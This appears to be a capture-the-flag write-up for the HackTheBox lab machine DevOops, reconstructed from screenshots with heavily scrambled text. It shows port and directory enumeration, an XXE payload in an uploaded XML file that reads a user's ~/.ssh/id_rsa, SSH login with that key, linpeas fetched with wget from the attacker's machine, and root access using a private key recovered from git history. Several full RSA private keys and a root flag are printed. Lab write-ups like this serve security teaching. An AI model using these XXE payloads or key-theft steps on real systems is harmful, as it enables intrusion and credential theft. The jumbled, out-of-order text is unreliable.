Dev0ops 🦲 Linux Difficulty: Medium Points: 30 Release: 02 Jun 2018 IP: 10.10.10.91 **Nmap** Let's start off with a deep scan: nmap -Pn -A -p- -T5 10.10.10.91 PORT STATE SERVICE VERSION OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; 22/tcp open ssh protocol 2.0) 5 5000/tcp open http Gunicorn 19.7.1 |_http-server-header: gunicorn/19.7.1 |_http-title: Site doesn't have a title (text/html; charset=utf-8).

DevOops

IP: 10.10.10.91

Under construction!

I searchsploited gunicorn and nothing came up, so we're on our own. Website: 5000 This is feed.py, which will become the MVP for Blogfeeder application. TODO: replace this with the proper feed from the dev.solita.fi backend. in Linkedin Getting started with your Azure data pipeline **▼** Twitter Building your data piplines in Azure and with Polybase by kaarelkorvernaa | 28 Feb 2018 Azure • Data factor • SQL Data Wareho (O) Instagram Polybase • Azure Data Lake • Data pipeline • External YouTube Work and write with us Why are deep learning models so popular?

From this directory information, and the front page, I guessed that /uploads/feed.py may be an

Opening feed.py

AWS (9) Active Directory (1)

Azure (2) Azure Data Lake (1) Beercraft (1) C++ (1) CI (2)

Clojure (11) ClojureScript (3)

Ansible (1) Arduino (1)

CMS (3) ClamAV (1)

started with them.

by jessevuorinen | 12 Feb 2018 data science • neural network

/feed - shows the image

/upload - an interesting upload page.

AWS re:Invent 2017 workshops and hackathons AWS re:Invent contains several workshops and hackathons. Here are some thoughts Let's enumerate the directories: gobuster dir -u http://10.10.10.91:5000 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 30

Thoughts on why deep learning models are popular, and some tips on how to get

rk • supervised learning • artificial intelligence

option: Q 10.10.10.91:5000/uploads/feed.py Kali Linux 🛝 Kali Training 🛝 Kali Tools 🛝 Kali Docs 🥀 Kali Forums 🛝 NetHunter 📗 Not For You have chosen to open: The requested I feed.py

XML Exploit Going to /upload we can see we have a page to upload **xml** docs. ① 10.10.10.91:5000/upload Kali Linux 🛝 Kali Training 🛝 Kali Tools 🛝 Kali Docs 🛝 Kali Forums

This is a test API! The final API will not have this functionality.

Upload

which is: Python script (3.5 KB)

from: http://10.10.10.91:5000

XML elements: Author, Subject, Content Reading the source code for **feed.py**, it doesn't give anything wildly useful that we didn't know already: we need to upload an xml that offers info about an author, the subject, and content

Browse...

Upload Enumeration

</test>

<?xml version="1.0"?>

3 <Author>test</Author> 4 <Subject>test</Subject> <Content>test</Content>

It returns this, which is extremely useful as it lets us know the user's name is .

Upload a new file

No file selected.

Let's just upload a file that the page will accept and won't get upset from: normal.xml

Malicious XML Upload I crafted this section from here:

/home/roosa/.ssh/id_rsa This was inspired by this website:

https://digi.ninja/blog/when_all_you_can_do_is_read.php

to-retrieve-files <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/roosa/.ssh/id_rsa'>]> So now let's make an **evil.xml**, and see what happens when we upload that and visit it at: http://10.10.10.91:5000/uploads/evil.xml

2 <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/roosa/.ssh/id_rsa'>]>

My first attempt didn't work because I didn't put a & or a; in the test section.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#exploiting-xxe-

PROCESSED BLOGPOST: Author: test Subject: test Content: test URL for later reference: /uploads/normal.xml File path: /home/roosa/deploy/src

The aim now is to create a malicious upload that will display the **id_rsa**. So that will look like

4 <Author>&test;</Author> 5 <Subject>test</Subject> 6 <Content>test</Content>

3 <test>

Evil.xml

1 <?xml version="1.0"?>

<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/roosa/.ssh/id_rsa'>]> <test>

4 <Author>&test;</Author> 5 <Subject>test</Subject> <Content>test</Content> </test> Upload this, and watch something gorgeous come back:

Copy and paste from the ---- BEGIN....all the way to the --- END RSA PRIVATE KEY----. Paste it into a text

Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

https://landscape.canonical.com

https://ubuntu.com/advantage

.sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .gitconfig, .git-credentials, .g

Let's cat ~/.bash_history | grep git to see what this user did with git. This looks interesting: a

commit -m 'add key for feed integration from tnerprise backend'

fatal: Not a git repository (or any of the parent directories): .git

Mon Mar 19 09:33:06 2018 -0400

git show 33e87c312c08735a02fa9c796021a4a3023129ad will reveal what was uploaded and

+MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN +ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE +23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3u0I9zPE +sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s +ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16 +ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h +LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2b0 +JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9

isn't Roosa anymore...and it's not likely to be the git. So these are potentnially the keys to the **Root**

Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

https://help.ubuntu.com

Last login: Sun Jun 28 18:16:56 2020 from 10.10.14.34

kali@kali:~/Downloads/devoops/git-keys\$ ssh -i id_rsa root@10.10.10.91

https://landscape.canonical.com

https://ubuntu.com/advantage

—BEGIN RSA PRIVATE KEY———

reverted accidental commit with proper key

add resources/integration/authcredentials.key

add resources/integration/authcredentials.key

If we just git log anywhere, we'll get told off for not doing it in the right directory.

roosa@gitter:~/work/blogfeed\$ cd /

roosa@gitter:/\$ git log

reed/.git/config .if(lightdm:auth): requirement "user ingroup nopassedlogin" not met by user "r .h): auth could not identify password for [roosa] orrect password attempt ; TTY=pts/8 ; PWD=/tmp/enum ; USER=root ; COMMAND=list ward Password Requests to Plymouth Directory Watch.

dlogin" not met by user "roosa"

* Documentation: https://help.ubuntu.com

Grab your user flag and then let's enumerate the box for a privesc

Last login: Sun Jun 28 17:11:17 2020 from 10.10.14.34

file called id_rsa. The formatting will be weird when you paste, and I believe you need it to be more

MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7 9sIXha2h4a4fp18F53jdx3PqE07HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J R/R+exNggHuqsp8rrcHq96lbXtORy8S0liUjfspPsWfY7JbktKyaQK0JunR25jVk v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4 9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99090K m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd80JBw8AfAMHB lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3 koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7 e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe 8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6 NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93 hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0 ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGI086eqPkt/lHfD3R KRSeBfzY4VotzatO5wNmIjfExqJY1lL2S0koXL5wwZgiWPxD00jM4wUapxAF4r2v vR7Gs1zJJuE4Fp0lF6SFJQKBgHbHBHa5e9iFV0Szgiq2GA4qqYG3RtMq/hcSWzh0 8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG

Kali Linux 🥆 Kali Training 🥆 Kali Tools 🦎 Kali Docs 🦎 Kali Forums 🔪 NetHunter 👖 Offensive Security 🧆 Exploit-DB 🝬 GHDB 👖 MSFU PROCESSED BLOGPOST: Author: ----BEGIN RSA PRIVATE KEY---- MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7 9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4 9QIQQnoi6DP3+7ErQ\$d6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB

lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3 koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7 e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe 8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6 NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93 hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0 ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TM8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BG1086eqPkt/lHfD3R KŘSeBfzY4VotzatÔ5ŵNmíjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0 8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl

① 10.10.10.91:5000/upload

----BEGIN RSA PRIVATE KEY----

xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq 82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s= ----END RSA PRIVATE KEY---- Subject: test Content: test URL for later reference: /uploads/evill.xml File path: /home/roosa/deploy/src SSH

uniform:

xgQt1L0dApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq 82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s= ----END RSA PRIVATE KEY----You now need to change the permissions for the id_rsa: chmod 600 id_rsa , and then we can ssh in as roosa: ssh -i id_rsa roosa@10.10.10.91

* Management:

roosa@gitter:~\$ whoami

The results involved a LOT to do with *git*

is:x:1001:1001:git,,,:/home/git:/bin/bash id=1001(git) gid=1001(git) groups=1001(git) it pts/4 127.0.0.1 Mon Mar 26 08:15:29 -0400 2018

Ogitter:/tmp/enum\$ cat peas.txt | grep git
nme: gitter

1 roosa roosa 56 Mar 19 2018 .

nfig --global user.email "roosamsolita.fi' gitalocalhost:/srv/ sa 56 Mar 19 2018

3771 Mar 19 2018 /home/

/.profile

alocalhost

Git Enum

roosa@gitter:~\$

135 packages can be updated.

60 updates are security updates.

* Support:

roosa

Linpeas

Roosa Shell

Let's run an automated enum script. Any will do; I'm using linpeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite python host a web server in your kali directory that linpeas.sh lives in: python -m SimpleHTTPServer • Pick the file up in the victim shell: wget [your ip]:8000/linpeas.sh prepare linpeas: chmod +x linpeas.sh run it and output its results into a text file: bash linpeas > peas.txt

creds key was posted Having done the final five levels of *Over the Wire's* **Bandit**, the priv esc kind of made sense: https://overthewire.org/wargames/bandit/

Locate .git brings up a ton of files but not that many **directories** for us to try. The one that works is one of the first: /home/roosa/work/blogfeed/ . cd to here, and then git log to see something interesting about **keys** commit 33e87c312c08735a02fa9c796021a4a3023129ad Author: Roosa Hakkerson <roosa@solita.fi> Date:

downloaded

Root SSH key

account. Let's find out:

* Documentation:

root@gitter:~# whoami

135 packages can be updated.

60 updates are security updates.

root@gitter:~# cat /root/root.txt fo1o7f7187/07oobdd3200cb1ac7b3

* Management:

* Support:

root

load pubkey "id rsa": invalid format

So now we have the private key for *someone* ----BEGIN RSA PRIVATE KEY----MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde 8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK nz1y2vd03ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+ CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgF04u0VuImILGJyyQJ8u5BI2mc/SHSE0c F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMm0CiFl3hzHlgIemLMm6QSy NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM HSRik2J/7Y70uBRQN+auzFKV7QeLFeR0JsLhLaPhstY5QQReQr9oIuTAs9c+oCLa 2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/w0iDzmlCTQJrnLgqzBwNXp+MH6Av9WHG jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41 IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG80ppwTgcPbF0+R3+MqL7lvAhHjWKMw +XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW 7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/U0hz+LYu/MsGoh0+yNXj Gx+07NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7 VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6 md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz oAvexd1JRMkbC7Y0grzZ9i0xHP+mg/LLENmHimcyKCqaY3XzqXqk9l0hA3ym0cLw LS407JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUS0EE= 27 ----END RSA PRIVATE KEY---cat /etc/passwd | grep bash says there's only three users who have a bash login, and we know it